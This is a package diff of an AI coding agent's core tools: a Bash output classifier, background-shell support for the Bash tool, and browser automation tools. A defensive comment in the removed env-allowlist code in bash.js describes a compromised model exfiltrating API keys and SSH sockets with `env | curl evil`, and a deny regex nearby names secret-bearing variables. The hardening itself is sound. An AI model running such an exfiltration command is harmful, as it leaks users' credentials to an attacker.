@cjhyy/code-shell-core 0.5.0-rc.2 → 0.6.0-rc.2

package/dist/tool-system/builtin/bash-output-style.d.ts

@@ -0,0 +1,32 @@
+/**
+ * Bash output styling classifier (A1 — Shell error highlighting).
+ *
+ * The Bash tool emits a single text body that interleaves three kinds of
+ * content (see bash.ts):
+ *   - the prepended status line `Exit code: N (command failed)` /
+ *     `Killed by signal: X` (only present on failure),
+ *   - stdout,
+ *   - a stderr section introduced by a lone `STDERR:` marker line, which runs
+ *     to the end of the body.
+ *
+ * Renderers (desktop ToolResultView, TUI ToolCall) want to tint the error
+ * portions without mutating the text — copy must still yield the exact bytes
+ * the model saw. This pure classifier maps each line to a kind so each surface
+ * can apply its own error color. It deliberately lives next to bash.ts so the
+ * markers it recognizes stay in lock-step with what bash.ts produces.
+ *
+ * NOTE: the desktop renderer cannot import core (thin-client rule), so it
+ * duplicates this tiny logic. The TUI imports it directly. Keep the two in sync.
+ */
+export type BashLineKind = "normal" | "error";
+export interface ClassifiedBashLine {
+    /** The original line, verbatim (never trimmed/altered — copy fidelity). */
+    text: string;
+    kind: BashLineKind;
+}
+/**
+ * Classify each line of a Bash output body. Once the lone `STDERR:` marker is
+ * seen, every subsequent line is part of the stderr region (sticky). Status
+ * lines are flagged wherever they appear.
+ */
+export declare function classifyBashLines(lines: string[]): ClassifiedBashLine[];

package/dist/tool-system/builtin/bash-output-style.js

@@ -0,0 +1,40 @@
+/**
+ * Bash output styling classifier (A1 — Shell error highlighting).
+ *
+ * The Bash tool emits a single text body that interleaves three kinds of
+ * content (see bash.ts):
+ *   - the prepended status line `Exit code: N (command failed)` /
+ *     `Killed by signal: X` (only present on failure),
+ *   - stdout,
+ *   - a stderr section introduced by a lone `STDERR:` marker line, which runs
+ *     to the end of the body.
+ *
+ * Renderers (desktop ToolResultView, TUI ToolCall) want to tint the error
+ * portions without mutating the text — copy must still yield the exact bytes
+ * the model saw. This pure classifier maps each line to a kind so each surface
+ * can apply its own error color. It deliberately lives next to bash.ts so the
+ * markers it recognizes stay in lock-step with what bash.ts produces.
+ *
+ * NOTE: the desktop renderer cannot import core (thin-client rule), so it
+ * duplicates this tiny logic. The TUI imports it directly. Keep the two in sync.
+ */
+/** The exact status-line prefixes bash.ts prepends on a failed command. */
+function isStatusLine(line) {
+    return /^Exit code: \d+ \(command failed\)$/.test(line) || /^Killed by signal: /.test(line);
+}
+/**
+ * Classify each line of a Bash output body. Once the lone `STDERR:` marker is
+ * seen, every subsequent line is part of the stderr region (sticky). Status
+ * lines are flagged wherever they appear.
+ */
+export function classifyBashLines(lines) {
+    let inStderr = false;
+    return lines.map((text) => {
+        if (text === "STDERR:") {
+            inStderr = true;
+            return { text, kind: "error" };
+        }
+        const kind = inStderr || isStatusLine(text) ? "error" : "normal";
+        return { text, kind };
+    });
+}

package/dist/tool-system/builtin/bash.d.ts

@@ -16,6 +16,9 @@
  *     Killed by signal, the truncation message, sandbox denial hints).
  */
 import type { ToolContext } from "../context.js";
-import type { ToolDefinition } from "../../types.js";
+import type { ToolDefinition, ToolResult } from "../../types.js";
 export declare const bashToolDef: ToolDefinition;
-export declare function bashTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
+export declare function bashTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string | {
+    result: string;
+    sandbox: ToolResult["sandbox"];
+}>;

package/dist/tool-system/builtin/bash.js

@@ -17,6 +17,15 @@
  */
 import { createOffBackend } from "../sandbox/off.js";
 import { safeSpawnShell } from "../../runtime/safe-spawn.js";
+import { truncateHeadTail } from "../../runtime/truncate-output.js";
+import { buildSandboxEnv, mergeShellEnv, defaultShellBinary } from "../../runtime/spawn-common.js";
+import { backgroundShellManager } from "../../runtime/background-shell.js";
+/** UI 标记:这次 Bash 走没走沙箱 + 网络策略。off 也带(显式标「未隔离」)。 */
+function sandboxMark(backend) {
+    return backend.name === "off"
+        ? { backend: "off" }
+        : { backend: backend.name, network: backend.network };
+}
 export const bashToolDef = {
     name: "Bash",
     description: "Execute a shell command and return its output. " +
@@ -34,66 +43,57 @@ export const bashToolDef = {
                 type: "string",
                 description: "Short description of what the command does",
             },
+            run_in_background: {
+                type: "boolean",
+                description: "Run the command in the background instead of blocking. Use for BOTH long-lived services " +
+                    "(a dev server like `npm run dev`) AND slow one-shot tasks that would otherwise block for a " +
+                    "long time (a download, a long build/test run). Returns immediately with a shell_id. " +
+                    "When the command FINISHES you are automatically notified and woken to continue — so do NOT " +
+                    "sleep, poll, or repeatedly BashOutput to wait for it. Just end your turn (or do other work); " +
+                    "the system wakes you on completion. Use BashOutput(shell_id) only to check on a still-running " +
+                    "process on demand, KillShell(shell_id) to stop one, ListShells() to enumerate. The process is " +
+                    "killed when the session/app exits. (A never-exiting service like a dev server simply never " +
+                    "fires that completion wakeup — that's expected.)",
+            },
         },
         required: ["command"],
     },
 };
 const MAX_OUTPUT = 100_000;
 const MAX_BUFFER = 10 * 1024 * 1024;
-/**
- * Env vars that are always safe to forward into the sandboxed shell. We pass
- * through enough for common Unix tooling (locale, PATH, HOME, terminal width)
- * but strip everything else. The Bash tool is the only thing the LLM can
- * directly steer at the shell, and a tainted model with full env access can
- * trivially exfiltrate `OPENROUTER_API_KEY` / `AWS_*` / `SSH_AUTH_SOCK` via
- * `env | curl evil`. Filesystem-level deniedReads don't help once secrets are
- * already in the process environment.
- *
- * `off` backend keeps the historical full-passthrough behavior — the user
- * explicitly opted out of sandboxing.
- */
-const ENV_ALLOWLIST = new Set([
-    "PATH",
-    "HOME",
-    "USER",
-    "LOGNAME",
-    "SHELL",
-    "LANG",
-    "LC_ALL",
-    "LC_CTYPE",
-    "TERM",
-    "TMPDIR",
-    "TZ",
-    "COLUMNS",
-    "LINES",
-    "PWD",
-]);
-/**
- * Names matching these patterns are dropped even if they appear in the
- * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
- * leak just because it starts with `PATH`). Match is case-insensitive on
- * the full name.
- */
-const ENV_DENY_REGEX = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|SESSION|AUTH|COOKIE|PRIVATE)/i;
-function buildSandboxEnv() {
-    const out = {};
-    for (const name of ENV_ALLOWLIST) {
-        const v = process.env[name];
-        if (v !== undefined && !ENV_DENY_REGEX.test(name)) {
-            out[name] = v;
-        }
-    }
-    return out;
-}
+// The env allowlist / deny regex that hardens a sandboxed shell now lives in
+// runtime/spawn-common.ts so foreground (this tool) and background shells
+// share one source of truth. The `off` backend keeps the historical
+// full-passthrough behavior — the user explicitly opted out of sandboxing.
 export async function bashTool(args, ctx) {
     const command = args.command;
     if (!command)
         return "Error: command is required";
-    const timeout = args.timeout || 120_000;
+    // A non-positive timeout (caller passing 0 / -5 / NaN) falls back to the
+    // default. `|| 120_000` only caught 0/NaN; a negative slipped through to
+    // setTimeout (clamped to 0 → near-instant kill → confusing "timed out after
+    // -5ms"). Treat non-positive as "use default" so the command actually runs.
+    const rawTimeout = args.timeout;
+    const timeout = typeof rawTimeout === "number" && rawTimeout > 0 ? rawTimeout : 120_000;
     const cwd = ctx?.cwd ?? process.cwd();
-    const shell = process.env.SHELL || "/bin/bash";
+    const shell = defaultShellBinary();
     const backend = ctx?.sandbox ?? createOffBackend();
-    const env = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
+    const sandbox = sandboxMark(backend);
+    // Tag every textual return below with the sandbox mark so the UI badge
+    // shows up whether the command succeeded, failed, timed out, or aborted.
+    const mark = (result) => ({ result, sandbox });
+    // Project localEnvironment.env (ctx.shellEnv) layers on top of either the
+    // full passthrough (off) or the hardened allowlist (sandboxed) — see
+    // mergeShellEnv. Background mode merges the same way inside the manager.
+    const baseEnv = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
+    const env = mergeShellEnv(baseEnv, ctx?.shellEnv);
+    // Background mode: spawn a detached, long-lived process and return a
+    // shell_id immediately (design §5.1). Fire-and-forget — the turn is never
+    // blocked, and Engine.run's wait-for-background loop never waits on it
+    // (§难点5: that loop only looks at asyncAgentRegistry).
+    if (args.run_in_background === true) {
+        return mark(runInBackground(command, ctx));
+    }
     // A6: lifecycle (spawn, kill cascade, IO drain, byte cap, abort/timeout)
     // is centralized in safeSpawnShell. We still handle Bash's user-facing
     // output formatting here.
@@ -111,25 +111,34 @@ export async function bashTool(args, ctx) {
         signal: ctx?.signal,
     });
     if (result.aborted) {
-        return wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.";
+        return mark(wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.");
     }
     if (result.timedOut) {
-        return `Command timed out after ${timeout}ms`;
+        return mark(`Command timed out after ${timeout}ms`);
     }
     if (result.spawnFailed) {
-        return `Failed to spawn command: ${result.error ?? "unknown error"}`;
+        return mark(`Failed to spawn command: ${result.error ?? "unknown error"}`);
     }
-    let output = "";
+    let body = "";
     if (result.stdout)
-        output += result.stdout;
+        body += result.stdout;
     if (result.stderr)
-        output += (output ? "\n" : "") + `STDERR:\n${result.stderr}`;
-    if (!output)
-        output = "(command completed with no output)";
+        body += (body ? "\n" : "") + `STDERR:\n${result.stderr}`;
+    if (!body)
+        body = "(command completed with no output)";
+    // Truncate the OUTPUT body head+tail (TODO 2.11) — the tail of a failing
+    // command (the error / final summary) is usually the most useful part, so we
+    // keep both ends instead of dropping the end. The exit-code/signal status
+    // line is prepended AFTER truncation so it's never lost.
+    if (body.length > MAX_OUTPUT) {
+        body = truncateHeadTail(body, { cap: MAX_OUTPUT });
+    }
     const code = result.exitCode;
     const sig = result.signal;
+    let output = body;
     if (code !== 0 && code !== null) {
-        output = `Exit code: ${code}\n${output}`;
+        // Semantic non-zero-exit marker (TODO 2.11): clear "command FAILED" line.
+        output = `Exit code: ${code} (command failed)\n${output}`;
     }
     else if (code === null && sig) {
         // Killed by a signal we didn't time out on — OOM-kill, sandbox-kill,
@@ -140,10 +149,37 @@ export async function bashTool(args, ctx) {
     const hint = backend.hintForBlockedOutput?.(result.stderr);
     if (hint)
         output += hint;
-    if (output.length > MAX_OUTPUT) {
-        output =
-            output.slice(0, MAX_OUTPUT) +
-                `\n\n... output truncated (${output.length} chars total)`;
+    return mark(output);
+}
+/**
+ * Bash(run_in_background=true) branch: start a long-lived background shell
+ * through the BackgroundShellManager and return its handle. Same sandbox as
+ * the foreground path (D8). Rejected in unattended automation runs (§5.5)
+ * because no one is there to reap a dev server.
+ */
+function runInBackground(command, ctx) {
+    if (ctx?.allowBackgroundShells === false) {
+        return "Error: background shells are not available in automation/headless runs. Run the command in the foreground, or have a human start the dev server.";
+    }
+    const sessionId = ctx?.sessionId;
+    if (!sessionId) {
+        return "Error: run_in_background requires a session context (no sessionId available).";
+    }
+    const mgr = ctx?.backgroundShells ?? backgroundShellManager;
+    const r = mgr.spawnBackground({
+        command,
+        cwd: ctx?.cwd ?? process.cwd(),
+        sessionId,
+        sandbox: ctx?.sandbox,
+        shellEnv: ctx?.shellEnv,
+    });
+    if (!r.ok) {
+        return `Error: ${r.error}`;
     }
-    return output;
+    return [
+        "Started background shell.",
+        `shell_id: ${r.shellId}`,
+        `command: ${command}`,
+        `(Use BashOutput("${r.shellId}") to read output; KillShell("${r.shellId}") to stop; ListShells() to enumerate.)`,
+    ].join("\n");
 }

package/dist/tool-system/builtin/browser-tools.d.ts

@@ -0,0 +1,33 @@
+/**
+ * Browser automation tools — drive the in-app webview via the BrowserBridge
+ * (CDP under the hood). Collapsed into THREE semantic tools (was 9 flat tools)
+ * to keep the LLM's tool list lean:
+ *
+ *   browser_observe  — observe the page: snapshot (a11y elements) / read (text) /
+ *                      extract (link+image+video URLs). [+ image/vision in P4]
+ *   browser_act      — interact: click / type / select / press_key / hover /
+ *                      scroll / wait / list_tabs / switch_tab (action-dispatched).
+ *   browser_navigate — load a URL (high-frequency, kept standalone).
+ *
+ * Spec: docs/superpowers/specs/2026-06-18-browser-module-redesign-design.md §4.1.
+ *
+ * snapshot returns interactive elements as a compact ref-tagged list (a11y tree,
+ * token-economical, no screenshots); act references elements by the ref the
+ * latest snapshot assigned. All tools degrade with a clear error when no browser
+ * is wired. isConcurrencySafe:false — a single webview is driven serially.
+ *
+ * Permission: browser_act is permissionDefault "allow"; the sensitive actions
+ * (click/type/select) are escalated to "ask" by a preset PermissionRule keyed on
+ * argsPattern { action }, so one tool can carry per-action gating (§4.6).
+ */
+import type { ToolDefinition } from "../../types.js";
+import type { ToolContext } from "../context.js";
+import type { BuiltinToolResult } from "./index.js";
+export declare const browserObserveToolDef: ToolDefinition;
+export declare function browserObserveTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<BuiltinToolResult>;
+export declare const browserActToolDef: ToolDefinition;
+export declare function browserActTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
+export declare const browserNavigateToolDef: ToolDefinition;
+export declare function browserNavigateTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
+/** True when the session has a browser bridge wired (used to gate visibility). */
+export declare function isBrowserAutomationAvailable(ctx?: ToolContext): boolean;

package/dist/tool-system/builtin/browser-tools.js

@@ -0,0 +1,312 @@
+/**
+ * Browser automation tools — drive the in-app webview via the BrowserBridge
+ * (CDP under the hood). Collapsed into THREE semantic tools (was 9 flat tools)
+ * to keep the LLM's tool list lean:
+ *
+ *   browser_observe  — observe the page: snapshot (a11y elements) / read (text) /
+ *                      extract (link+image+video URLs). [+ image/vision in P4]
+ *   browser_act      — interact: click / type / select / press_key / hover /
+ *                      scroll / wait / list_tabs / switch_tab (action-dispatched).
+ *   browser_navigate — load a URL (high-frequency, kept standalone).
+ *
+ * Spec: docs/superpowers/specs/2026-06-18-browser-module-redesign-design.md §4.1.
+ *
+ * snapshot returns interactive elements as a compact ref-tagged list (a11y tree,
+ * token-economical, no screenshots); act references elements by the ref the
+ * latest snapshot assigned. All tools degrade with a clear error when no browser
+ * is wired. isConcurrencySafe:false — a single webview is driven serially.
+ *
+ * Permission: browser_act is permissionDefault "allow"; the sensitive actions
+ * (click/type/select) are escalated to "ask" by a preset PermissionRule keyed on
+ * argsPattern { action }, so one tool can carry per-action gating (§4.6).
+ */
+import { renderElementList } from "../browser-bridge.js";
+import { capabilitiesFor } from "../../llm/capabilities/index.js";
+const NO_BROWSER = "Error: browser automation is not available (no browser panel in this session). " +
+    "It requires the desktop app with an open browser panel.";
+function bridge(ctx) {
+    return ctx?.browser;
+}
+const STALE = (ref) => `Error: ref ${ref} is no longer valid (page changed). Re-run browser_observe.`;
+// ════════════════════════════════════════════════════════════════════════════
+// browser_observe — observe the page (snapshot / read / extract)
+// ════════════════════════════════════════════════════════════════════════════
+export const browserObserveToolDef = {
+    name: "browser_observe",
+    description: "Observe the current page in the browser panel. Modes:\n" +
+        "- snapshot (default): URL/title + a compact list of interactive elements, each " +
+        "tagged [ref=eN] for browser_act. ALWAYS snapshot before acting, and re-snapshot " +
+        "after navigation/page changes (refs are only valid for the latest snapshot). " +
+        "Passwords show as [sensitive] with no value.\n" +
+        "- read: the page's main readable text (for summarizing/scraping an article/post; " +
+        "long pages truncate — scroll + read again).\n" +
+        "- extract: the real URLs on the page (hyperlink hrefs, image srcs, video srcs) " +
+        "that snapshot omits — each image/video is tagged [ref=imgN/vidN] for image mode.\n" +
+        "- image: SEE the actual pixels of page images (refs from extract, e.g. img3) — for " +
+        "reading what a photo/product image/小红书 笔记配图 actually shows. Fetched in-page so " +
+        "it works behind hotlink protection. A vidN ref grabs the video's current frame.\n" +
+        "- vision: screenshot the rendered page (or one element via ref) — for layout/canvas/" +
+        "charts the a11y tree can't convey. Use sparingly (images cost tokens; snapshot first).",
+    inputSchema: {
+        type: "object",
+        properties: {
+            mode: {
+                type: "string",
+                enum: ["snapshot", "read", "extract", "image", "vision"],
+                description: "What to observe (default: snapshot)",
+            },
+            refs: {
+                type: "array",
+                items: { type: "string" },
+                description: "image mode: image refs (imgN/vidN from extract) to see, one or more",
+            },
+            ref: { type: "string", description: "vision mode (optional): screenshot just this element's region" },
+        },
+    },
+};
+/** Vision gate: only show images to a vision-capable model. Mirrors view_image —
+ *  no vision → never read pixels into context (your rule: 不支持就不给看). */
+function modelSupportsVision(ctx) {
+    if (!ctx?.llmConfig)
+        return false;
+    const kind = (ctx.llmConfig.providerKind ?? ctx.llmConfig.provider);
+    return capabilitiesFor(kind, ctx.llmConfig.model).supportsVision;
+}
+/** Wrap captured image data into a vision ContentBlock (or null if not usable). */
+function toImageBlock(d) {
+    if (!d.ok || !d.base64 || !d.mediaType)
+        return null;
+    return { type: "image", source: { type: "base64", media_type: d.mediaType, data: d.base64 } };
+}
+export async function browserObserveTool(args, ctx) {
+    const b = bridge(ctx);
+    if (!b)
+        return NO_BROWSER;
+    const mode = args.mode || "snapshot";
+    switch (mode) {
+        case "snapshot": {
+            const snap = await b.snapshot();
+            const header = `URL: ${snap.url}${snap.title ? `\nTitle: ${snap.title}` : ""}`;
+            const human = snap.needsHuman
+                ? `\n\n⚠ ${snap.needsHuman} — please complete it in the browser panel, then continue.`
+                : "";
+            return `${header}\n\n${renderElementList(snap.elements)}${human}`;
+        }
+        case "read": {
+            const c = await b.readContent();
+            if (!c.ok)
+                return `Error: ${c.detail ?? "could not read page content"}`;
+            const head = `URL: ${c.url}${c.title ? `\nTitle: ${c.title}` : ""}${c.truncated ? "\n(content truncated)" : ""}`;
+            return `${head}\n\n${c.text || "(no readable text)"}`;
+        }
+        case "extract": {
+            const r = await b.extractLinks();
+            if (!r.ok)
+                return `Error: ${r.detail ?? "could not extract URLs"}`;
+            const head = `URL: ${r.url}${r.title ? `\nTitle: ${r.title}` : ""}${r.truncated ? "\n(truncated — page had more; narrow it and re-extract)" : ""}`;
+            const links = r.links.length > 0
+                ? "Links:\n" + r.links.map((l) => `- ${l.text ? `${l.text} → ` : ""}${l.url}`).join("\n")
+                : "Links: (none)";
+            const images = r.images.length > 0
+                ? "Images (use the ref with browser_observe(image) to SEE one):\n" +
+                    r.images.map((im) => `- [${im.ref ?? "?"}] ${im.alt ? `${im.alt} → ` : ""}${im.url}`).join("\n")
+                : "Images: (none)";
+            const videos = r.videos && r.videos.length > 0
+                ? "Videos:\n" + r.videos.map((v) => `- ${v.url}`).join("\n")
+                : "Videos: (none)";
+            return `${head}\n\n${links}\n\n${images}\n\n${videos}`;
+        }
+        case "image": {
+            // Vision gate: don't fetch pixels for a non-vision model (your rule).
+            if (!modelSupportsVision(ctx)) {
+                return "[图片未加载 —— 当前模型不支持视觉输入,已跳过。切换到 vision 模型后再用 browser_observe(image)。]";
+            }
+            const refs = Array.isArray(args.refs) ? args.refs : [];
+            if (refs.length === 0)
+                return "Error: refs is required for image mode (image refs from browser_observe(extract), e.g. img3)";
+            const datas = await b.fetchImages(refs);
+            const blocks = [];
+            const notes = [];
+            for (const d of datas) {
+                const block = toImageBlock(d);
+                if (block) {
+                    blocks.push(block);
+                    notes.push(`${d.ref ?? "?"}: loaded`);
+                }
+                else {
+                    notes.push(`${d.ref ?? "?"}: ${d.detail ?? "could not load"}`);
+                }
+            }
+            if (blocks.length === 0)
+                return `Error: no images loaded — ${notes.join("; ")}`;
+            return { contentBlocks: blocks, result: `[loaded ${blocks.length} image(s): ${notes.join("; ")}]` };
+        }
+        case "vision": {
+            if (!modelSupportsVision(ctx)) {
+                return "[截图未加载 —— 当前模型不支持视觉输入,已跳过。切换到 vision 模型后再用 browser_observe(vision)。]";
+            }
+            const ref = args.ref;
+            const d = await b.screenshot(ref);
+            const block = toImageBlock(d);
+            if (!block)
+                return `Error: ${d.detail ?? "screenshot failed"}`;
+            return { contentBlocks: [block], result: `[screenshot loaded${ref ? ` of ${ref}` : ""}]` };
+        }
+        default:
+            return `Error: unknown observe mode "${mode}" (use snapshot | read | extract | image | vision)`;
+    }
+}
+// ════════════════════════════════════════════════════════════════════════════
+// browser_act — interact with the page (action-dispatched)
+// ════════════════════════════════════════════════════════════════════════════
+export const browserActToolDef = {
+    name: "browser_act",
+    description: "Act on the page in the browser panel. Use refs (eN) from the latest " +
+        "browser_observe(snapshot). Actions:\n" +
+        "- click {ref}: click an element.\n" +
+        "- type {ref, text}: type text into an input (focuses first).\n" +
+        "- select {ref, value}: choose an option in a NATIVE <select> (value = option " +
+        "value or visible text). Custom dropdowns: click to expand, then click the option.\n" +
+        "- press_key {key, ref?}: press a key/combo (Enter, Tab, Escape, ArrowDown, " +
+        "Control+a). Focuses ref first if given.\n" +
+        "- hover {ref}: hover to reveal menus/tooltips.\n" +
+        "- scroll {direction: up|down, amount?}: scroll the page, then re-observe.\n" +
+        "- wait {timeout_ms?}: wait for the page to finish loading before observing.\n" +
+        "- list_tabs: list open browser tabs (tabId, url, title, which is active).\n" +
+        "- switch_tab {tabId}: make another tab the active one that actions drive.\n" +
+        "Pass tabId on any action to target a specific tab (switches to it first). " +
+        "Re-observe after navigation/page/tab changes (refs go stale per tab).",
+    inputSchema: {
+        type: "object",
+        properties: {
+            action: {
+                type: "string",
+                enum: ["click", "type", "select", "press_key", "hover", "scroll", "wait", "list_tabs", "switch_tab"],
+                description: "The interaction to perform",
+            },
+            ref: { type: "string", description: "Element ref (eN) — click/type/select/hover/press_key" },
+            text: { type: "string", description: "Text to type — type" },
+            value: { type: "string", description: "Option value or visible text — select" },
+            key: { type: "string", description: "Key name or combo (Enter/Tab/Control+a) — press_key" },
+            direction: { type: "string", enum: ["up", "down"], description: "Scroll direction — scroll" },
+            amount: { type: "number", description: "Pixels to scroll (default one viewport) — scroll" },
+            timeout_ms: { type: "number", description: "Max wait in ms (default 10000) — wait" },
+            tabId: { type: "string", description: "Target tab — required for switch_tab; optional on others (switches first)" },
+        },
+        required: ["action"],
+    },
+};
+export async function browserActTool(args, ctx) {
+    const b = bridge(ctx);
+    if (!b)
+        return NO_BROWSER;
+    const action = args.action;
+    const ref = args.ref;
+    const tabId = args.tabId;
+    // Optional tabId on a non-tab action → switch to that tab first, then act.
+    if (tabId && action !== "switch_tab" && action !== "list_tabs") {
+        const sw = await b.switchTab(tabId);
+        if (!sw.ok)
+            return `Error: could not switch to tab ${tabId} — ${sw.detail ?? "not found"}`;
+    }
+    switch (action) {
+        case "list_tabs": {
+            const tabs = await b.listTabs();
+            if (tabs.length === 0)
+                return "(no open browser tabs)";
+            return ("Open tabs:\n" +
+                tabs.map((t) => `- [${t.tabId}]${t.active ? " (active)" : ""} ${t.title || "(untitled)"} — ${t.url || "(blank)"}`).join("\n"));
+        }
+        case "switch_tab": {
+            if (!tabId)
+                return "Error: tabId is required for switch_tab (see list_tabs)";
+            const r = await b.switchTab(tabId);
+            return r.ok ? `Switched to tab ${tabId} — re-observe to see it` : `Error: ${r.detail ?? "switch failed"}`;
+        }
+        case "click": {
+            if (!ref)
+                return "Error: ref is required for click";
+            const r = await b.click(ref);
+            if (r.ok)
+                return `Clicked ${ref}${r.detail ? ` — ${r.detail}` : ""}`;
+            return r.staleRef ? STALE(ref) : `Error: ${r.detail ?? "click failed"}`;
+        }
+        case "type": {
+            const text = args.text;
+            if (!ref)
+                return "Error: ref is required for type";
+            if (typeof text !== "string")
+                return "Error: text is required for type";
+            const r = await b.type(ref, text);
+            if (r.ok)
+                return `Typed into ${ref}`;
+            return r.staleRef ? STALE(ref) : `Error: ${r.detail ?? "type failed"}`;
+        }
+        case "select": {
+            const value = args.value;
+            if (!ref)
+                return "Error: ref is required for select";
+            if (typeof value !== "string")
+                return "Error: value is required for select";
+            const r = await b.selectOption(ref, value);
+            if (r.ok)
+                return `Selected${r.detail ? ` ${r.detail}` : ""} in ${ref}`;
+            return r.staleRef ? STALE(ref) : `Error: ${r.detail ?? "select failed"}`;
+        }
+        case "press_key": {
+            const key = args.key || "Enter";
+            const r = await b.pressKey(key, ref);
+            if (r.ok)
+                return `Pressed ${key}`;
+            return r.staleRef && ref ? STALE(ref) : `Error: ${r.detail ?? "press_key failed"}`;
+        }
+        case "hover": {
+            if (!ref)
+                return "Error: ref is required for hover";
+            const r = await b.hover(ref);
+            if (r.ok)
+                return `Hovered ${ref}`;
+            return r.staleRef ? STALE(ref) : `Error: ${r.detail ?? "hover failed"}`;
+        }
+        case "scroll": {
+            const dir = args.direction;
+            if (dir !== "up" && dir !== "down")
+                return "Error: direction must be 'up' or 'down'";
+            const r = await b.scroll(dir, args.amount);
+            return r.ok ? `Scrolled ${dir}` : `Error: ${r.detail ?? "scroll failed"}`;
+        }
+        case "wait": {
+            const r = await b.waitForLoad(args.timeout_ms);
+            return r.ok ? `Page ready${r.detail ? ` (${r.detail})` : ""}` : `Error: ${r.detail ?? "wait failed"}`;
+        }
+        default:
+            return `Error: unknown action "${action}"`;
+    }
+}
+// ════════════════════════════════════════════════════════════════════════════
+// browser_navigate — load a URL (kept standalone: high-frequency, distinct)
+// ════════════════════════════════════════════════════════════════════════════
+export const browserNavigateToolDef = {
+    name: "browser_navigate",
+    description: "Navigate the browser panel to a URL (opens the panel automatically if none " +
+        "is open). Then call browser_act(wait) + browser_observe to see the page.",
+    inputSchema: {
+        type: "object",
+        properties: { url: { type: "string", description: "Absolute URL to open" } },
+        required: ["url"],
+    },
+};
+export async function browserNavigateTool(args, ctx) {
+    const b = bridge(ctx);
+    if (!b)
+        return NO_BROWSER;
+    const url = args.url;
+    if (!url)
+        return "Error: url is required";
+    const r = await b.navigate(url);
+    return r.ok ? `Navigated to ${url}` : `Error: ${r.detail ?? "navigation failed"}`;
+}
+/** True when the session has a browser bridge wired (used to gate visibility). */
+export function isBrowserAutomationAvailable(ctx) {
+    return bridge(ctx) !== undefined;
+}